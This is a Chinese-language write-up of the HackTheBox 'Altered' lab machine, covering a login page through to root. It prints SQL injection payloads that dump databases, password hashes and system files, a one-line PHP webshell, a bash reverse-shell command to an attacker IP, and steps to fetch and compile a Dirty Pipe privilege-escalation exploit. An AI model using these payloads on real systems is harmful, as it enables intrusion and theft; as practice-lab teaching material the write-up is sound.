HackTheBox-Altered

实验环境

寻找立足点

端口扫描

先对靶机进行端口扫描,发现只开放了22和80端口

1
nmap -sS -sCV -T4 10.10.11.159 -o ports.nmap

登陆界面攻击面测试

访问80端口,是一个登录界面,先尝试登录

发现当输入账号为test时返回用无效用户名,当输入用户名为admin时返回密码无效,存在用户名枚举

还有一个忘记密码的功能,试试能不能修改admin的密码,发现需要填写验证码。

接下来有两种思路,爆破密码和爆破验证码,但是密码的位数和强度都是未知的,而验证码只有四位,并且看这个提示,应该是四位的纯数字,这样的话爆破难度还是比较低的,所以我选择爆破验证码。

验证码爆破

接下来尝试抓包对验证码进行爆破

标记要爆破的参数

设置payload

爆破了一会后,状态码就从200变成了429,应该是出现错误了

提示了错误信息,可能是爆破请求频繁导致被禁止访问了

请求次数限制绕过

按照Bypass Rate Limit的方法尝试绕过访问限制,添加X-Forwarded-For字段,返回状态码200

再次进行爆破,这次要标记两个值,一个是IP地址,一个是验证码,设置好后开始爆破

等待了几分钟后,成功爆破出了验证码

使用验证码修改了admin的密码后登录,跳转到了用户列表

点击用户栏的View会在上方显示出用户的信息

PHP弱类型

抓包查看一下

将请求方式更改为POST,看一下会返回什么。提示不支持POST

然后试试用POST的请求方式,但将POST改为GET。返回了一些JSON格式的信息

那我们也将请求内容改为JSON格式试试。如下,返回正常了

上面的cookie可以看到有laravel_session的字段,这个站点是使用的Laravel框架,而Laravel是一款PHPWeb开发框架

参考文章PHP弱类型,将secret的值改为bool类型的true,任意的id的值都能返回正常

SQL注入测试

接着对id进行测试,发现添加一个单引号,返回服务器错误,很明显的SQL注入的特征

接下来试SQL注入,先通过order by判断字段数,当为3时返回正常,4时返回错误,因此字段数为3

接下来通过union select查看回显的位置

3的位置替换为SQL语句可以成功执行

先爆出所有数据库名

1
-2 union select 1,2,group_concat(schema_name) from information_schema.schemata-- -

爆出所有表名和列名

1
-2 union select 1,2,group_concat('\n',table_name,':',column_name) from information_schema.columns where table_schema='uhc'-- -

爆出users表的内容

1
-2 union select 1,2,group_concat('\n',name,':',password) from uhc.users-- -

但是我们已经有admin的密码了,所以这些内容对我们没有什么帮助。接下来看看注入点能不能读取文件,如下图,成功读到了/etc/passwd文件

1
-2 union select 1,2,load_file('/etc/passwd')-- -

接下来的思路是通过SQL注入往站点写shell,来获得服务器权限,但是先要知道站点的真实路径

SQL注入写shell

在最开始的端口扫描中可以看到,该站点使用了Nginx作为中间件,我们可以读取Nginx的站点配置文件,来查看配置的站点根目录。尝试读取Nginx的站点配置文件的默认路径

1
-2 union select 1,2,load_file('/etc/nginx/sites-enabled/default')-- -

如上图,在该配置文件中存在网站根目录的路径,之后我们就可以往这个路径写shell,来得到服务器的初步控制权

通过into outfile向网站根目录写入0.php,返回服务器错误,但是不影响

1
-2 union select 1,2,'<?=`$_GET[1]`?>' into outfile'/srv/altered/public/0.php'-- -

访问我们的shell,能成功执行系统命令

权限提升

反弹shell

通过我们写入的webshell,反弹一个shell回来,翻遍后续的操作

1
bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'

本地开启的监听接收到了反弹shell

通过以下命令,将反弹回来的shell升级为完全交互式的shell

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo; fg
reset
xterm

Dirty Pipe提权漏洞

查看系统的版本为5.16

前段时间刚爆出了一个Linux的提权漏洞Dirty Pipe,看了一下The Dirty Pipe Vulnerability的影响范围:

  • version > 5.8
  • version < 5.16.11、5.15.25、5.10.102

这台靶机服务器的版本在影响范围内,所以我们可以直接下载exploit并编译,上传到靶机中执行,来获得root权限

现在攻击机下载DirtyPipe-Exploits,并编译。因为攻击机和靶机的Linux版本不一样,所以使用-fPIC -static参数进行编译,防止因编译环境不一致导致exploit运行出现问题

1
2
3
wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c

gcc exploit-2.c -o exp -fPIC -static

在攻击机用python起一个简易的服务器

1
python3 -m http.server 80

在靶机下载,并赋予执行权限

1
2
3
wget 10.10.16.6/exp

chmod +x ./exp

按照exploit作者的使用方法,执行exploit劫持SUID成功提升至root权限